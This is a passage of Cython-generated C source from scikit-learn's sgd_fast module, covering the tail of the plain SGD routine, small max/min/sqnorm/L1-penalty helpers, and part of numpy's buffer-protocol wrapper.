__pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;\n      __Pyx_DECREF(((PyObject *)__pyx_t_3)); __pyx_t_3 = 0;\n      __pyx_t_16 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_16 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 506; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n      if (!__pyx_t_16) {\n\n        /* \"sklearn/linear_model/sgd_fast.pyx\":507\n *         # floating-point under-/overflow check.\n *         if np.any(np.isinf(weights)) or np.any(np.isnan(weights)) \\\n *            or np.isnan(intercept) or np.isinf(intercept):             # <<<<<<<<<<<<<<\n *             raise ValueError(\"floating-point under-/overflow occured.\")\n * \n */\n        __pyx_t_2 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_2);\n        __pyx_t_3 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__isnan); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_3);\n        __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n        __pyx_t_2 = PyFloat_FromDouble(__pyx_v_intercept); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_2);\n        __pyx_t_15 = PyTuple_New(1); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_15);\n        PyTuple_SET_ITEM(__pyx_t_15, 0, __pyx_t_2);\n        __Pyx_GIVEREF(__pyx_t_2);\n        __pyx_t_2 = 0;\n        __pyx_t_2 = PyObject_Call(__pyx_t_3, ((PyObject *)__pyx_t_15), NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_2);\n        __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n        __Pyx_DECREF(((PyObject *)__pyx_t_15)); __pyx_t_15 = 0;\n        __pyx_t_17 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_17 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n        if (!__pyx_t_17) {\n          __pyx_t_2 = __Pyx_GetName(__pyx_m, __pyx_n_s__np); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n          __Pyx_GOTREF(__pyx_t_2);\n          __pyx_t_15 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__isinf); if (unlikely(!__pyx_t_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n          __Pyx_GOTREF(__pyx_t_15);\n          __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n          __pyx_t_2 = PyFloat_FromDouble(__pyx_v_intercept); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n          __Pyx_GOTREF(__pyx_t_2);\n          __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n          __Pyx_GOTREF(__pyx_t_3);\n          PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2);\n          __Pyx_GIVEREF(__pyx_t_2);\n          __pyx_t_2 = 0;\n          __pyx_t_2 = PyObject_Call(__pyx_t_15, ((PyObject *)__pyx_t_3), NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n          __Pyx_GOTREF(__pyx_t_2);\n          __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;\n          __Pyx_DECREF(((PyObject *)__pyx_t_3)); __pyx_t_3 = 0;\n          __pyx_t_18 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_18 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 507; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n          __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n          __pyx_t_19 = __pyx_t_18;\n        } else {\n          __pyx_t_19 = __pyx_t_17;\n        }\n        __pyx_t_17 = __pyx_t_19;\n      } else {\n        __pyx_t_17 = __pyx_t_16;\n      }\n      __pyx_t_16 = __pyx_t_17;\n    } else {\n      __pyx_t_16 = __pyx_t_4;\n    }\n    if (__pyx_t_16) {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":508\n *         if np.any(np.isinf(weights)) or np.any(np.isnan(weights)) \\\n *            or np.isnan(intercept) or np.isinf(intercept):\n *             raise ValueError(\"floating-point under-/overflow occured.\")             # <<<<<<<<<<<<<<\n * \n *     w.reset_wscale()\n */\n      __pyx_t_2 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_5), NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 508; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __Pyx_Raise(__pyx_t_2, 0, 0, 0);\n      __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n      {__pyx_filename = __pyx_f[0]; __pyx_lineno = 508; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      goto __pyx_L18;\n    }\n    __pyx_L18:;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":510\n *             raise ValueError(\"floating-point under-/overflow occured.\")\n * \n *     w.reset_wscale()             # <<<<<<<<<<<<<<\n * \n *     return weights, intercept\n */\n  ((struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector *)__pyx_v_w->__pyx_vtab)->reset_wscale(__pyx_v_w);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":512\n *     w.reset_wscale()\n * \n *     return weights, intercept             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_2 = PyFloat_FromDouble(__pyx_v_intercept); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 512; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  __pyx_t_3 = PyTuple_New(2); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 512; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_3);\n  __Pyx_INCREF(((PyObject *)__pyx_v_weights));\n  PyTuple_SET_ITEM(__pyx_t_3, 0, ((PyObject *)__pyx_v_weights));\n  __Pyx_GIVEREF(((PyObject *)__pyx_v_weights));\n  PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_2);\n  __Pyx_GIVEREF(__pyx_t_2);\n  __pyx_t_2 = 0;\n  __pyx_r = ((PyObject *)__pyx_t_3);\n  __pyx_t_3 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_6);\n  __Pyx_XDECREF(__pyx_t_7);\n  __Pyx_XDECREF(__pyx_t_8);\n  __Pyx_XDECREF(__pyx_t_15);\n  { PyObject *__pyx_type, *__pyx_value, *__pyx_tb;\n    __Pyx_ErrFetch(&__pyx_type, &__pyx_value, &__pyx_tb);\n    __Pyx_SafeReleaseBuffer(&__pyx_pybuffernd_q.rcbuffer->pybuffer);\n    __Pyx_SafeReleaseBuffer(&__pyx_pybuffernd_weights.rcbuffer->pybuffer);\n  __Pyx_ErrRestore(__pyx_type, __pyx_value, __pyx_tb);}\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.plain_sgd\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  goto __pyx_L2;\n  __pyx_L0:;\n  __Pyx_SafeReleaseBuffer(&__pyx_pybuffernd_q.rcbuffer->pybuffer);\n  __Pyx_SafeReleaseBuffer(&__pyx_pybuffernd_weights.rcbuffer->pybuffer);\n  __pyx_L2:;\n  __Pyx_XDECREF((PyObject *)__pyx_v_w);\n  __Pyx_XDECREF((PyObject *)__pyx_v_q);\n  __Pyx_XDECREF(__pyx_v_t_start);\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":515\n * \n * \n * cdef inline double max(double a, double b):             # <<<<<<<<<<<<<<\n *     return a if a >= b else b\n * \n */\n\nstatic CYTHON_INLINE double __pyx_f_7sklearn_12linear_model_8sgd_fast_max(double __pyx_v_a, double __pyx_v_b) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  double __pyx_t_1;\n  __Pyx_RefNannySetupContext(\"max\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":516\n * \n * cdef inline double max(double a, double b):\n *     return a if a >= b else b             # <<<<<<<<<<<<<<\n * \n * \n */\n  if ((__pyx_v_a >= __pyx_v_b)) {\n    __pyx_t_1 = __pyx_v_a;\n  } else {\n    __pyx_t_1 = __pyx_v_b;\n  }\n  __pyx_r = __pyx_t_1;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":519\n * \n * \n * cdef inline double min(double a, double b):             # <<<<<<<<<<<<<<\n *     return a if a <= b else b\n * \n */\n\nstatic CYTHON_INLINE double __pyx_f_7sklearn_12linear_model_8sgd_fast_min(double __pyx_v_a, double __pyx_v_b) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  double __pyx_t_1;\n  __Pyx_RefNannySetupContext(\"min\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":520\n * \n * cdef inline double min(double a, double b):\n *     return a if a <= b else b             # <<<<<<<<<<<<<<\n * \n * cdef double sqnorm(DOUBLE * x_data_ptr, INTEGER * x_ind_ptr, int xnnz):\n */\n  if ((__pyx_v_a <= __pyx_v_b)) {\n    __pyx_t_1 = __pyx_v_a;\n  } else {\n    __pyx_t_1 = __pyx_v_b;\n  }\n  __pyx_r = __pyx_t_1;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":522\n *     return a if a <= b else b\n * \n * cdef double sqnorm(DOUBLE * x_data_ptr, INTEGER * x_ind_ptr, int xnnz):             # <<<<<<<<<<<<<<\n *     cdef double x_norm = 0.0\n *     cdef int j\n */\n\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_sqnorm(__pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE *__pyx_v_x_data_ptr, CYTHON_UNUSED __pyx_t_7sklearn_12linear_model_8sgd_fast_INTEGER *__pyx_v_x_ind_ptr, int __pyx_v_xnnz) {\n  double __pyx_v_x_norm;\n  int __pyx_v_j;\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  int __pyx_t_1;\n  int __pyx_t_2;\n  __Pyx_RefNannySetupContext(\"sqnorm\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":523\n * \n * cdef double sqnorm(DOUBLE * x_data_ptr, INTEGER * x_ind_ptr, int xnnz):\n *     cdef double x_norm = 0.0             # <<<<<<<<<<<<<<\n *     cdef int j\n *     cdef double z\n */\n  __pyx_v_x_norm = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":526\n *     cdef int j\n *     cdef double z\n *     for j in range(xnnz):             # <<<<<<<<<<<<<<\n *         z = x_data_ptr[j]\n *         x_norm += z * z\n */\n  __pyx_t_1 = __pyx_v_xnnz;\n  for (__pyx_t_2 = 0; __pyx_t_2 < __pyx_t_1; __pyx_t_2+=1) {\n    __pyx_v_j = __pyx_t_2;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":527\n *     cdef double z\n *     for j in range(xnnz):\n *         z = x_data_ptr[j]             # <<<<<<<<<<<<<<\n *         x_norm += z * z\n *     return x_norm\n */\n    __pyx_v_z = (__pyx_v_x_data_ptr[__pyx_v_j]);\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":528\n *     for j in range(xnnz):\n *         z = x_data_ptr[j]\n *         x_norm += z * z             # <<<<<<<<<<<<<<\n *     return x_norm\n * \n */\n    __pyx_v_x_norm = (__pyx_v_x_norm + (__pyx_v_z * __pyx_v_z));\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":529\n *         z = x_data_ptr[j]\n *         x_norm += z * z\n *     return x_norm             # <<<<<<<<<<<<<<\n * \n * cdef void l1penalty(WeightVector w, DOUBLE * q_data_ptr,\n */\n  __pyx_r = __pyx_v_x_norm;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":531\n *     return x_norm\n * \n * cdef void l1penalty(WeightVector w, DOUBLE * q_data_ptr,             # <<<<<<<<<<<<<<\n *                     INTEGER * x_ind_ptr, int xnnz, double u):\n *     \"\"\"Apply the L1 penalty to each updated feature\n */\n\nstatic void __pyx_f_7sklearn_12linear_model_8sgd_fast_l1penalty(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *__pyx_v_w, __pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE *__pyx_v_q_data_ptr, __pyx_t_7sklearn_12linear_model_8sgd_fast_INTEGER *__pyx_v_x_ind_ptr, int __pyx_v_xnnz, double __pyx_v_u) {\n  double __pyx_v_z;\n  int __pyx_v_j;\n  int __pyx_v_idx;\n  double __pyx_v_wscale;\n  double *__pyx_v_w_data_ptr;\n  __Pyx_RefNannyDeclarations\n  double __pyx_t_1;\n  __pyx_t_7sklearn_5utils_13weight_vector_DOUBLE *__pyx_t_2;\n  int __pyx_t_3;\n  int __pyx_t_4;\n  int __pyx_t_5;\n  int __pyx_t_6;\n  __Pyx_RefNannySetupContext(\"l1penalty\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":538\n *     [Tsuruoka, Y., Tsujii, J., and Ananiadou, S., 2009].\n *     \"\"\"\n *     cdef double z = 0.0             # <<<<<<<<<<<<<<\n *     cdef int j = 0\n *     cdef int idx = 0\n */\n  __pyx_v_z = 0.0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":539\n *     \"\"\"\n *     cdef double z = 0.0\n *     cdef int j = 0             # <<<<<<<<<<<<<<\n *     cdef int idx = 0\n *     cdef double wscale = w.wscale\n */\n  __pyx_v_j = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":540\n *     cdef double z = 0.0\n *     cdef int j = 0\n *     cdef int idx = 0             # <<<<<<<<<<<<<<\n *     cdef double wscale = w.wscale\n *     cdef double * w_data_ptr = w.w_data_ptr\n */\n  __pyx_v_idx = 0;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":541\n *     cdef int j = 0\n *     cdef int idx = 0\n *     cdef double wscale = w.wscale             # <<<<<<<<<<<<<<\n *     cdef double * w_data_ptr = w.w_data_ptr\n *     for j in range(xnnz):\n */\n  __pyx_t_1 = __pyx_v_w->wscale;\n  __pyx_v_wscale = __pyx_t_1;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":542\n *     cdef int idx = 0\n *     cdef double wscale = w.wscale\n *     cdef double * w_data_ptr = w.w_data_ptr             # <<<<<<<<<<<<<<\n *     for j in range(xnnz):\n *         idx = x_ind_ptr[j]\n */\n  __pyx_t_2 = __pyx_v_w->w_data_ptr;\n  __pyx_v_w_data_ptr = __pyx_t_2;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":543\n *     cdef double wscale = w.wscale\n *     cdef double * w_data_ptr = w.w_data_ptr\n *     for j in range(xnnz):             # <<<<<<<<<<<<<<\n *         idx = x_ind_ptr[j]\n *         z = w_data_ptr[idx]\n */\n  __pyx_t_3 = __pyx_v_xnnz;\n  for (__pyx_t_4 = 0; __pyx_t_4 < __pyx_t_3; __pyx_t_4+=1) {\n    __pyx_v_j = __pyx_t_4;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":544\n *     cdef double * w_data_ptr = w.w_data_ptr\n *     for j in range(xnnz):\n *         idx = x_ind_ptr[j]             # <<<<<<<<<<<<<<\n *         z = w_data_ptr[idx]\n *         if (wscale * w_data_ptr[idx]) > 0.0:\n */\n    __pyx_v_idx = (__pyx_v_x_ind_ptr[__pyx_v_j]);\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":545\n *     for j in range(xnnz):\n *         idx = x_ind_ptr[j]\n *         z = w_data_ptr[idx]             # <<<<<<<<<<<<<<\n *         if (wscale * w_data_ptr[idx]) > 0.0:\n *             w_data_ptr[idx] = max(\n */\n    __pyx_v_z = (__pyx_v_w_data_ptr[__pyx_v_idx]);\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":546\n *         idx = x_ind_ptr[j]\n *         z = w_data_ptr[idx]\n *         if (wscale * w_data_ptr[idx]) > 0.0:             # <<<<<<<<<<<<<<\n *             w_data_ptr[idx] = max(\n *                 0.0, w_data_ptr[idx] - ((u + q_data_ptr[idx]) / wscale))\n */\n    __pyx_t_5 = ((__pyx_v_wscale * (__pyx_v_w_data_ptr[__pyx_v_idx])) > 0.0);\n    if (__pyx_t_5) {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":547\n *         z = w_data_ptr[idx]\n *         if (wscale * w_data_ptr[idx]) > 0.0:\n *             w_data_ptr[idx] = max(             # <<<<<<<<<<<<<<\n *                 0.0, w_data_ptr[idx] - ((u + q_data_ptr[idx]) / wscale))\n * \n */\n      (__pyx_v_w_data_ptr[__pyx_v_idx]) = __pyx_f_7sklearn_12linear_model_8sgd_fast_max(0.0, ((__pyx_v_w_data_ptr[__pyx_v_idx]) - ((__pyx_v_u + (__pyx_v_q_data_ptr[__pyx_v_idx])) / __pyx_v_wscale)));\n      goto __pyx_L5;\n    }\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":550\n *                 0.0, w_data_ptr[idx] - ((u + q_data_ptr[idx]) / wscale))\n * \n *         elif (wscale * w_data_ptr[idx]) < 0.0:             # <<<<<<<<<<<<<<\n *             w_data_ptr[idx] = min(\n *                 0.0, w_data_ptr[idx] + ((u - q_data_ptr[idx]) / wscale))\n */\n    __pyx_t_5 = ((__pyx_v_wscale * (__pyx_v_w_data_ptr[__pyx_v_idx])) < 0.0);\n    if (__pyx_t_5) {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":551\n * \n *         elif (wscale * w_data_ptr[idx]) < 0.0:\n *             w_data_ptr[idx] = min(             # <<<<<<<<<<<<<<\n *                 0.0, w_data_ptr[idx] + ((u - q_data_ptr[idx]) / wscale))\n * \n */\n      (__pyx_v_w_data_ptr[__pyx_v_idx]) = __pyx_f_7sklearn_12linear_model_8sgd_fast_min(0.0, ((__pyx_v_w_data_ptr[__pyx_v_idx]) + ((__pyx_v_u - (__pyx_v_q_data_ptr[__pyx_v_idx])) / __pyx_v_wscale)));\n      goto __pyx_L5;\n    }\n    __pyx_L5:;\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":554\n *                 0.0, w_data_ptr[idx] + ((u - q_data_ptr[idx]) / wscale))\n * \n *         q_data_ptr[idx] += (wscale * (w_data_ptr[idx] - z))             # <<<<<<<<<<<<<<\n */\n    __pyx_t_6 = __pyx_v_idx;\n    (__pyx_v_q_data_ptr[__pyx_t_6]) = ((__pyx_v_q_data_ptr[__pyx_t_6]) + (__pyx_v_wscale * ((__pyx_v_w_data_ptr[__pyx_v_idx]) - __pyx_v_z)));\n  }\n\n  __Pyx_RefNannyFinishContext();\n}\n\n/* Python wrapper */\nstatic CYTHON_UNUSED int __pyx_pw_5numpy_7ndarray_1__getbuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info, int __pyx_v_flags); /*proto*/\nstatic CYTHON_UNUSED int __pyx_pw_5numpy_7ndarray_1__getbuffer__(PyObject *__pyx_v_self, Py_buffer *__pyx_v_info, int __pyx_v_flags) {\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__getbuffer__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_5numpy_7ndarray___getbuffer__(((PyArrayObject *)__pyx_v_self), ((Py_buffer *)__pyx_v_info), ((int)__pyx_v_flags));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":194\n *         # experimental exception made for __getbuffer__ and __releasebuffer__\n *         # -- the details of this may change.\n *         def __getbuffer__(ndarray self, Py_buffer* info, int flags):             # <<<<<<<<<<<<<<\n *             # This implementation of getbuffer is geared towards Cython\n *             # requirements, and does not yet fullfill the PEP.\n */\n\nstatic int __pyx_pf_5numpy_7ndarray___getbuffer__(PyArrayObject *__pyx_v_self, Py_buffer *__pyx_v_info, int __pyx_v_flags) {\n  int __pyx_v_copy_shape;\n  int __pyx_v_i;\n  int __pyx_v_ndim;\n  int __pyx_v_endian_detector;\n  int __pyx_v_little_endian;\n  int __pyx_v_t;\n  char *__pyx_v_f;\n  PyArray_Descr *__pyx_v_descr = 0;\n  int __pyx_v_offset;\n  int __pyx_v_hasfields;\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  int __pyx_t_1;\n  int __pyx_t_2;\n  int __pyx_t_3;\n  PyObject *__pyx_t_4 = NULL;\n  int __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_t_7;\n  PyObject *__pyx_t_8 = NULL;\n  char *__pyx_t_9;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__getbuffer__\", 0);\n  if (__pyx_v_info != NULL) {\n    __pyx_v_info->obj = Py_None; __Pyx_INCREF(Py_None);\n    __Pyx_GIVEREF(__pyx_v_info->obj);\n  }\n\n  /* \"numpy.pxd\":200\n *             # of flags\n * \n *             if info == NULL: return             # <<<<<<<<<<<<<<\n * \n *             cdef int copy_shape, i, ndim\n */\n  __pyx_t_1 = (__pyx_v_info == NULL);\n  if (__pyx_t_1) {\n    __pyx_r = 0;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"numpy.pxd\":203\n * \n *             cdef int copy_shape, i, ndim\n *             cdef int endian_detector = 1             # <<<<<<<<<<<<<<\n *             cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)\n * \n */\n  __pyx_v_endian_detector = 1;\n\n  /* \"numpy.pxd\":204\n *             cdef int copy_shape, i, ndim\n *             cdef int endian_detector = 1\n *             cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)             # <<<<<<<<<<<<<<\n * \n *             ndim = PyArray_NDIM(self)\n */\n  __pyx_v_little_endian = ((((char *)(&__pyx_v_endian_detector))[0]) != 0);\n\n  /* \"numpy.pxd\":206\n *             cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)\n * \n *             ndim = PyArray_NDIM(self)             # <<<<<<<<<<<<<<\n * \n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n */\n  __pyx_v_ndim = PyArray_NDIM(__pyx_v_self);\n\n  /* \"numpy.pxd\":208\n *             ndim = PyArray_NDIM(self)\n * \n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):             # <<<<<<<<<<<<<<\n *                 copy_shape = 1\n *             else:\n */\n  __pyx_t_1 = ((sizeof(npy_intp)) != (sizeof(Py_ssize_t)));\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":209\n * \n *             if sizeof(npy_intp) != sizeof(Py_ssize_t):\n *                 copy_shape = 1             # <<<<<<<<<<<<<<\n *             else:\n *                 copy_shape = 0\n */\n    __pyx_v_copy_shape = 1;\n    goto __pyx_L4;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":211\n *                 copy_shape = 1\n *             else:\n *                 copy_shape = 0             # <<<<<<<<<<<<<<\n * \n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n */\n    __pyx_v_copy_shape = 0;\n  }\n  __pyx_L4:;\n\n  /* \"numpy.pxd\":213\n *                 copy_shape = 0\n * \n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)             # <<<<<<<<<<<<<<\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not C contiguous\")\n */\n  __pyx_t_1 = ((__pyx_v_flags & PyBUF_C_CONTIGUOUS) == PyBUF_C_CONTIGUOUS);\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":214\n * \n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):             # <<<<<<<<<<<<<<\n *                 raise ValueError(u\"ndarray is not C contiguous\")\n * \n */\n    __pyx_t_2 = (!PyArray_CHKFLAGS(__pyx_v_self, NPY_C_CONTIGUOUS));\n    __pyx_t_3 = __pyx_t_2;\n  } else {\n    __pyx_t_3 = __pyx_t_1;\n  }\n  if (__pyx_t_3) {\n\n    /* \"numpy.pxd\":215\n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not C contiguous\")             # <<<<<<<<<<<<<<\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n */\n    __pyx_t_4 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_7), NULL); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 215; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_4);\n    __Pyx_Raise(__pyx_t_4, 0, 0, 0);\n    __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n    {__pyx_filename = __pyx_f[1]; __pyx_lineno = 215; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    goto __pyx_L5;\n  }\n  __pyx_L5:;\n\n  /* \"numpy.pxd\":217\n *                 raise ValueError(u\"ndarray is not C contiguous\")\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)             # <<<<<<<<<<<<<<\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")\n */\n  __pyx_t_3 = ((__pyx_v_flags & PyBUF_F_CONTIGUOUS) == PyBUF_F_CONTIGUOUS);\n  if (__pyx_t_3) {\n\n    /* \"numpy.pxd\":218\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):             # <<<<<<<<<<<<<<\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")\n * \n */\n    __pyx_t_1 = (!PyArray_CHKFLAGS(__pyx_v_self, NPY_F_CONTIGUOUS));\n    __pyx_t_2 = __pyx_t_1;\n  } else {\n    __pyx_t_2 = __pyx_t_3;\n  }\n  if (__pyx_t_2) {\n\n    /* \"numpy.pxd\":219\n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")             # <<<<<<<<<<<<<<\n * \n *             info.buf = PyArray_DATA(self)\n */\n    __pyx_t_4 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_9), NULL); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 219; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_4);\n    __Pyx_Raise(__pyx_t_4, 0, 0, 0);\n    __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n    {__pyx_filename = __pyx_f[1]; __pyx_lineno = 219; __pyx_clineno = 